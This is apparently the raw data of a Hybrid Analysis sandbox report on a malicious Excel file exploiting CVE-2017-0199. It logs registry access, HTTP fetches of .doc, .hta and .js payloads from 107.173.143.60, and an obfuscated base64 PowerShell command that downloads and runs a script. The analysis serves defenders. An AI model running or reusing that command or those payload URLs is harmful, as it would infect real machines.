34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 63:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CVE-2017-0199 Sample e360a8e144f7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e360a8e144f7…. Malware family: CVE-2017-0199. Threat score 100/100. 7/27 AV engines flagged this file. 5 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e360a8e144f715974ef7b569b1c6ee8734abb773ef030d30e9eb2cbdb7ea7b04","keywords":["Malicious","CVE-2017-0199","malware analysis","sandbox report","threat intelligence","e360a8e144f715974ef7b569b1c6ee8734abb773ef030d30e9eb2cbdb7ea7b04"],"about":{"@type":"SoftwareApplication","name":"RFQ261102 FDY-75.xls","applicationCategory":["xls","office"],"identifier":"e360a8e144f715974ef7b569b1c6ee8734abb773ef030d30e9eb2cbdb7ea7b04","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CVE-2017-0199","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T4bf,"EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKCU\*\SHELLEX\CONTEXTMENUHANDLERS\OPEN WITH ENCRYPTIONMENU") "EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\OPEN WITH ENCRYPTIONMENU") "EQNEDT32.EXE" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\OPEN WITH ENCRYPTIONMENU") "EQNEDT32.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\OPEN WITH ENCRYPTIONMENU") "EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKCU\*\SHELLEX\CONTEXTMENUHANDLERS\SHARING") "EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\SHARING") "EQNEDT32.EXE" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\SHARING") "EQNEDT32.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\SHARING") "EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKCU\*\SHELLEX\CONTEXTMENUHANDLERS\WORKFOLDERS") "EQNEDT32.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WORKFOLDERS") "EQNEDT32.EXE" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WORKFOLDERS")37:Ta04,"EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1518628920 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1518636261 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1518803082 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1518810190 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1519054022 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1519061032 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1519628368 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1519635381 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1520402089 [PID: 1516] "EQNEDT32.EXE" queried SystemProcessInformation at 00000000-00001516-00000C15-1520410270 [PID: 1516] "cmd.exe" queried SystemProcessInformation at 00000000-00001172-00000C15-1524385387 [PID: 1172] "cmd.exe" queried SystemProcessInformation at 00000000-00001172-00000C15-1524397421 [PID: 1172] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1525176941 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1525184384 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1525385192 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1525392250 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1527971027 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1527978394 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1528786965 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1528794598 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1529194012 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1532228097 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1537613557 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1537621087 [PID: 4960] "powershell.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-1539209665 [PID: 4960]38:T3caf,Contains base64 string in header "muqhJ0msHLMI" in header "GET /5fKN0?zb&muqhJ0msHLMI;Ms39iqmgvw,czcthawte," - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e6n5fglobalsign" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r0m0t" - Source: "00000000-00004960.00000000.209504.02D20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00004960.00000000.209504.07592000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00004960.00000000.209504.07592000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00004960.00000000.209504.07592000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ev4.0.303196n5fglobalsign" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r0m0t" - Source: "00000000-00004960.00000001.210366.02DBA000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00004960.00000001.210366.07592000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00004960.00000001.210366.07592000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00004960.00000001.210366.07592000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0," - Source: "00000000-00004960.00000001.210366.07592000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004960.00000001.210366.075DE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00004960.00000001.210366.075DE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micr_201" - Source: "00000000-00004960.00000001.210366.075DE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00004960.00000001.210366.075DE000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120251011013926.217z0washington1redmo%o@" - Source: "00000000-00004960.00000001.210366.077D0000.00000004.mdmp") Found URL "http://www.micom/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004960.00000001.210366.077D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/mic0time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00004960.00000001.210366.077D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004960.00000001.210366.08649000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00004960.00000001.210366.08649000.00000004.mdmp")53:T5cd,GET /5fKN0?zb&muqhJ0msHLMI;Ms3L}"; Value: ">l}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "!N}"; Value: "!n}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004119110000000100000000F01FEC\USAGE"; Key: "VBAFILES"; Value: "0200695D00") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\INTERNET\SERVER CACHE"; Key: "VERSION"; Value: "0100000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004119110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "2E00695D00") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\INTERNET\SERVER CACHE\HTTP://107.173.143.60/"; Key: "ENABLEBHO"; Value: "0000000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "UQ}"; Value: "uq}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\CUSTOMUIVALIDATIONCACHE"; Key: "ONENOTE.WORDADDINTAKENOTESBUTTON.MICROSOFT.WORD.DOCUMENT"; Value: "15A224F300") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "0R}"; Value: "0r}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "5T}"; Value: "5t}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400100000000F01FEC\USAGE"; Key: "EQUATIONEDITORFILESINTL_1033"; Value: "0100695D00") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "MAX DISPLAY"; Value: "1900000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DD70E6D06BAF10][O00000000]*http://107.173.143.60/?zb&muqhJ0msHLMI;Ms3 HTTP/1.1 301 Moved Permanently Date: Tue 10 Nov 2026 07:40:28 GMT Server: Apache/2.4.65 (Win64) OpenSSL/3.5.1 PHP/8.4.27 Location: http://107.173.143.60/5fKN0/?zb&muqhJ0msHLMI;Ms33C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /5fKN0/?zb&muqhJ0msHLMI;Ms3 HTTP/1.1 301 Moved Permanently Date: Tue 10 Nov 2026 07:40:28 GMT Server: Apache/2.4.65 (Win64) OpenSSL/3.5.1 PHP/8.4.27 X-Powered-By: PHP/8.4.27 Location: http://107.173.143.60/5fKN0/a.doc Content-Length: 0 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with no response body "GET /5fKN0/a.doc HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3) Host: 107.173.143.60 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Tue 10 Nov 2026 07:40:29 GMT Server: Apache/2.4.65 (Win64) OpenSSL/3.5.1 PHP/8.4.27 Last-Modified: Tue 10 Nov 2026 00:28:03 GMT ETag: "1844e-65fe126cd14d5" Accept-Ranges: bytes Content-Length: 99406 Keep-Alive: timeout=5 max=98 Connection: Keep-Alive Content-Type: application/msword with response body ==>7B5C727466310D0D7B5C2A5C6167485763794F505439786731596C5543585746313638733164384776355A745544757566464C4530634D324637515449413263....... "GET /82/beautiful.hta HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3) Host: 107.173.143.60 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Tue 10 Nov 2026 07:40:48 GMT Server: Apache/2.4.65 (Win64) OpenSSL/3.5.1 PHP/8.4.27 Last-Modified: Tue 10 Nov 2026 00:23:31 GMT ETag: "3da2-65fe1169bd184" Accept-Ranges: bytes Content-Length: 15778 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/hta with response body ==>3C21444F43545950452068746D6C3E0D0A3C6D65746120687474702D65717569763D22582D55412D436F6D70617469626C652220636F6E74656E743D2249453D....... "GET /82/swiss.js HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.6456 Host: 107.173.143.60 Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Date: Tue 10 Nov 2026 07:41:07 GMT Server: Apache/2.4.65 (Win64) OpenSSL/3.5.1 PHP/8.4.27 Content-Length: 300 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......5f:T831,Spawned process "EXCEL.EXE" with commandline "/dde" (UID: 00000000-00005328) Spawned process "WINWORD.EXE" with commandline "-Embedding" (UID: 00000000-00004792) Spawned process "EQNEDT32.EXE" with commandline "-Embedding" (UID: 00000000-00001516) Spawned process "mshta.exe" with commandline ""%APPDATA%\\beautifuls.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}" (UID: 00000000-00004536) Spawned process "cmd.exe" with commandline ""/C POwERSheLL -eX bYpAss -Nop -W 1 -ec IAAgACAAIAAgACAAIAAgACAAIAAgAFcARwBlAFQAIAAJAAkACQAgAAkACQAJAAkAIAAgAB0gaAB0AHQAcAA6AC8ALwAxADAANwAuADEANwAzAC4AMQA0ADMALgA2ADAALwA4ADIALwBzAHcAaQBzAHMALgBqAHMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQB0AGYAaQBMAGUAIAAgAAkACQAgACAACQAJACAACQAgAAkAIAAJAAkAHSAkAEUATgB2ADoAUABVAEIAbABpAGMAXABzAHcAaQBzAHMAbgBlAHQAdwBvAHIAawAuAGoAcwAdICAACQAgACAACQAgAAkACQAJACAACQAgAAkACQAJACAACQAgADsAIAAJAAkAIAAJAAkACQAgAAkAIAAJAAkACQAJACYAIAAgAAkACQAgAAkACQAJAAkACQAJACAAIAAgACAAIAAgAAkACQAJACAAHSAkAGUAbgB2ADoAcABVAEIAbABJAGMAXABzAHcAaQBzAHMAbgBlAHQAdwBvAHIAawAuAGoAcwAdIA== "" (UID: 00000000-00001172) Spawned process "splwow64.exe" with commandline "12288" (UID: 00000000-00004580) Spawned process "powershell.exe" with commandline "POwERSheLL -eX bYpAss -Nop -W 1 -ec IAAgACAAIAAgACAAIAAgACAAIAAgAFcARwBlAFQAIAAJAAkACQAgAAkACQAJAAkAIAAgAB0gaAB0AHQAcAA6AC8ALwAxADAANwAuADEANwAzAC4AMQA0ADMALgA2ADAALwA4ADIALwBzAHcAaQBzAHMALgBqAHMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQB0AGYAaQBMAGUAIAAgAAkACQAgACAACQAJACAACQAgAAkAIAAJAAkAHSAkAEUATgB2ADoAUABVAEIAbABpAGMAXABzAHcAaQBzAHMAbgBlAHQAdwBvAHIAawAuAGoAcwAdICAACQAgACAACQAgAAkACQAJACAACQAgAAkACQAJACAACQAgADsAIAAJAAkAIAAJAAkACQAgAAkAIAAJAAkACQAJACYAIAAgAAkACQAgAAkACQAJAAkACQAJACAAIAAgACAAIAAgAAkACQAJACAAHSAkAGUAbgB2ADoAcABVAEIAbABJAGMAXABzAHcAaQBzAHMAbgBlAHQAdwBvAHIAawAuAGoAcwAdIA== "" (UID: 00000000-00004960)60:Tab8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAH0UlEQVR4Xs2W+1NU5x3G/TPaSdtJO7VtahqDGg3TaCdMNfESLCSYYEgC4gUhgqIGMRhFqwYhgBp0i1xdLgLLclFugiJGHSUqiMqdXS7Lshd2YWG57PXp930Pe8KiKfzQmfYwz5yZM3P28zzfy3tYtOj/9Sqrf4LZKr3ZjJIbTVzyuiYU1z6CjKnmEYpqHqKw+kcUVDXiCim/8gHpPvLorlSrodOZMff3570YdKGX00ly3UkOB2An5Vbcx4FTadyEXq//eRNJNUdwpiIap0oPIla2F0fywhCVvRP7LwViT8pWhCR9hG1nNuOzkxvgf2wt/L5+Fz5Rq+G93xMb960SwRw+y0DOtXtQGQH/8BP/2URi9RGUP8tHSUsOZM3ZuPIwHdIHEmTePY/UhkRcqI3D2aoTiL/6DU6XRON40QEcK9iLmNw9bgZmw20kafkdbqBbY8Mavy9/3sSZa9HcgFhS+rM7HfQjNlhtVkzbpjFpnYTZYsbY1BhGJkdgMBtx6HIIN1DTZED142HBADlxGcgqvS0aaFZMYKX3jpebOFl6gNJLZ1I4uGx2gtstmLYS3ELwaTNMHD4Kw4QB+nE9DmZvx/qIle4VcM5UwA5kyhtmGTDjh2dGvPl+4IsmjhWEo6gpi37EifCS3Qgr3IWQ3O349KI/h49Pj8M/doubtGMaRGYE4b09y18ov8tAenE96luGUftYh4rGIcjvqFBws080IRo4nLMbeY2p9KId6y+uhbw1HzG1UYiu2Qe/7zZzYER5MLZIffBW4jIs2rkI6lE1ItICsDbUA1cbtSh/oEHpfQ3k94ZQfFeNojuDSJfdRPBXCfg88lt8HBYL7+DDWPtpJN75MJSbEA0czNiG7LspvOwWKvu6770gbUrH/rJQBBd/gY1HvTh8efybIlw1okJY6id4d9dSsQLye2oxvdXuhMXmxK0HXSi53YXcWoUoaZ3S3UCE5DNcakiiFyyYsk5hwjKBdxI8kf6jhFrhjw+lvvDau1yAj6gxYBxAn6EPIRJfrAl+XTTAUrsMMPi01QnpjT5MTDsxPuWEadKBkQkHsmvnGAg99zFS6uJEOOs5S+xx4g0kNJxCgOQ9bEzfAM+gPyAoK5Crd1iJ4JRN+GvgnyAjcOEP1N/bKuTfGkBefT9yqNeX63qRRTAzGRibdGKUDBjHHci8LsyBaGBHgi+SK48TXFgzBo8s244teZvx2uHf42TDN24mEopj0aPrQeC597EqYLE4+Xm3+oXy28DTT5EyahSU3kHpnRgxO2AgA2k1cwx8cXoj4spjxORLfZa4afGh3yKqMtzNRLeuCwHJXljxye9+OvkotdUm9J7BJyxOpFX1COknnDCSgeExB1Kr+t0NbI1dh5PFUXzHjWYDhmnHtWNaDJmGaNgG8U9Z7AumOrWd8E9cAw+/VzmY9ZqX/LqSp06r7sGlym78q6KL957BDQTXmRy4UKFyN+AX44XYgkg63WbgJoLPTPqAsZ/63QvFsIJS96BL20XwDrQPtcMv4W0y8+uZsjuptwpe+klKLgyeAxevdoql15ns0Izace7qoLsBn0OrEZMXzk83rUkjrlm/C65XUM+70UVl79B0cnjbUBt841ZgifcrvORMLPVsOEv+fVkHh+spvWbUAbXRjqSyOQa8D3giWhqKKDrbv6LjdV9mECLSA/ieh0h8aNo/4APHeu6fuBp+8W8T/C34xHngz5t+gYxqBe91KpVccq2Lp04p7yB4O86XtPO+ayn90IgDKoMd8SVqdwPsg8LEzvX14SuwLmwZ/r7bA1673sDftr+O1YGvwfPzP2Ll1sV86Dw+ehVLfX+Dv/zjV1jywS/F1JJrneK+j9K+G8xCcgFu5/D+YTtOyzXuBl52Zcpv80lmyqW9niIIF3tG9/RZ5WZ7zsBjM2B22JyVtyG5uBWhZyo5fJBKP0Bwpc6GE0Xa+Q1k0JeMrRHTSye8SphwBr7Ay93BYXzaqedJslb+LnumMrLkNvQSvIe+jEcL9AswILtF54KDDxM7zRhIkIMOKwfvtavUrNcu2PDMtH9X9Fx81q+3C3CtDV1DNnydb5jfQFpRPT+9GISlZncByA4VB0/N1osdredK2kRYIoETCp8hvuCp+Eyps/PknQRvH7QiKncBBi4V3uS9ZBDXhLOSz55wBmZDllT8U7nZmqkMNsRdaRGfsX9IXPDWASv2S0fmN5BacIP3komB2SrpZ/ZZN2bncK2J7bZ7uQdo0vuo5KfznojPOtRWtKkE+NN+K/ZeHp3fgORKHe8lWyGWWksgJgbUjAipWVo23fFUchesl8qt0NpxKrdZfNamsuA5wVv6rGjutWJPlmkBBvJr+fowpdCEny8VSp4sb6UJfy72mgEWoid9Fg5/rLQiNGNsfgMX82r5+rB+sgNERWs0QGIT3a+nlSKxnVZqhekW+mxFJ5W7nZWb9KzfgqeU+gmBm5QWPFJY0Nhtwa708fkNXMi9znvpUq9eOEQYUCFCreim4WJQ3mc2ZAw80+uWXguaSI8J/LBHgN/vsmBHmnlhBtj63HmkRNXdHshuKHC5WgFJ+QCS6WvmUmL5IOJL1fi2ZIg+6Vocl+lwtFBPuz5M62bkEx+RbUIY9T0kYxw7KH3wpQUYSMmpQWjMWWwKOsT/i13lvRPLNmzjL/63NJf5P7n+DThEGkIVtp9OAAAAAElFTkSuQmCC61:Tab8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAH0UlEQVR4Xs2W+1NU5x3G/TPaSdtJO7VtahqDGg3TaCdMNfESLCSYYEgC4gUhgqIGMRhFqwYhgBp0i1xdLgLLclFugiJGHSUqiMqdXS7Lshd2YWG57PXp930Pe8KiKfzQmfYwz5yZM3P28zzfy3tYtOj/9Sqrf4LZKr3ZjJIbTVzyuiYU1z6CjKnmEYpqHqKw+kcUVDXiCim/8gHpPvLorlSrodOZMff3570YdKGX00ly3UkOB2An5Vbcx4FTadyEXq//eRNJNUdwpiIap0oPIla2F0fywhCVvRP7LwViT8pWhCR9hG1nNuOzkxvgf2wt/L5+Fz5Rq+G93xMb960SwRw+y0DOtXtQGQH/8BP/2URi9RGUP8tHSUsOZM3ZuPIwHdIHEmTePY/UhkRcqI3D2aoTiL/6DU6XRON40QEcK9iLmNw9bgZmw20kafkdbqBbY8Mavy9/3sSZa9HcgFhS+rM7HfQjNlhtVkzbpjFpnYTZYsbY1BhGJkdgMBtx6HIIN1DTZED142HBADlxGcgqvS0aaFZMYKX3jpebOFl6gNJLZ1I4uGx2gtstmLYS3ELwaTNMHD4Kw4QB+nE9DmZvx/qIle4VcM5UwA5kyhtmGTDjh2dGvPl+4IsmjhWEo6gpi37EifCS3Qgr3IWQ3O349KI/h49Pj8M/doubtGMaRGYE4b09y18ov8tAenE96luGUftYh4rGIcjvqFBws080IRo4nLMbeY2p9KId6y+uhbw1HzG1UYiu2Qe/7zZzYER5MLZIffBW4jIs2rkI6lE1ItICsDbUA1cbtSh/oEHpfQ3k94ZQfFeNojuDSJfdRPBXCfg88lt8HBYL7+DDWPtpJN75MJSbEA0czNiG7LspvOwWKvu6770gbUrH/rJQBBd/gY1HvTh8efybIlw1okJY6id4d9dSsQLye2oxvdXuhMXmxK0HXSi53